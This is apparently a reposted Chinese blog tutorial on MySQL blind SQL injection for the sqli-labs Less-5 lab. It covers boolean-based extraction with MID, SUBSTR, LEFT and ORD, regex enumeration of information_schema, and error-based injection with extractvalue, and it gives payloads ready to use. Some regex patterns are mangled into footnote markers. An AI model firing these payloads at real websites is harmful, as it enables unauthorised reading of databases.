sql盲注函数

1.基于布尔sql盲注————构造逻辑判断
三个截断函数
Mid()函数
MID(database(),1,1)>‘a’ 查看数据库名第一位
MID(column_name,start,【length】)
注:length 可选默认为剩余文本;

substr函数
Substr() substring()函数实现的功能是一样的,均为截断中字符串。
substr(database(),1,)>‘a’ 查看数据库名第一位,start为开始位置,length为截取的长度。

Left()函数
得到字符串左部指定个数的字符
left(string,n) srting为要截断的字符串,n为长度。
left(database(),2)>‘ab’ 查看数据库名前2位

同时也要介绍ORD()函数,次啊和拿书返回第一个字符的ascii码,经常与上述函数组合使用
例如ORD(MID(DATABASE(),1,1))>114

正则表达式攻击
mysql5+中 information——schema库中存储了所有的库名,表名以及字段名信息。故攻击方式如下:

1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设一致的库名。
注:正则表达式中 1 表示字符串中开始字符实在a-z范围内
index.php?id=1 and 1=1=(select 1 from information_schema.tables where table_schema=“blind_sqli” ANd table_name REGEXP ‘2’ limit 0,1)

2、判断第一个字符是否是a-n中的字符如果不是则在o-z中

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema=“blind_sqli” AND table_name REGEXP '^[a-n[] limit 0,1)

之后表达式的更换如下:
expression like this : ^n[a-z] -> ne[a-z] -> new[a-z] ->news[a-z] -> FALSE
接下来才其它表了

实验表明 在上述的表达式中,在llimit0,1下,regexp回匹配所有的项包括表security下的email,users表都可以,其实limit 0,1 此时是对于where table_schema=‘security’ limit 0,1。而 table_schema='security’已经起到了限定作用,所以limit有没有已经不重要了。


less-5盲注

获取security数据库的第一个表的第一个字符
?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))%3E108–+

以此为基准,不断地重复,重复造轮子
substr( ,2,1);
substr( ,3,1);

tips:
ASCII值:
a-z:97-122

A-Z:65-90

0-9:48-57

报错注入

uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1


  1. a-z ↩︎

  2. a-z ↩︎

猜你喜欢

转载自blog.csdn.net/qq_42812036/article/details/100525404